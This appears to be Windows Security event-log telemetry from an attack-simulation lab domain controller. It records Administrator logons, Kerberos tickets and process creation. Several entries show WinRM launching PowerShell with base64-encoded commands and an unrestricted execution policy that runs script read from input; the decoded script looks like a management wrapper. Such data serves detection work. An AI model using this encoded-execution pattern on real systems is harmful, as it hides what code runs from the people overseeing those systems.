SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251625
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13CF34

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251624
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13CF34
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B867D44C-3D18-6F15-A9F7-284F6AF774D8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251623
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B867D44C-3D18-6F15-A9F7-284F6AF774D8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251622
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B867D44C-3D18-6F15-A9F7-284F6AF774D8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251621
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251620
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13CAE6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251619
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13C785

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251730
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x934
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1064
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251729
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1064
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1098
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251728
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14079E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251727
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14079E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251726
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251725
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251724
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251723
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1098
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc70
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251722
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc70
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfa8
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

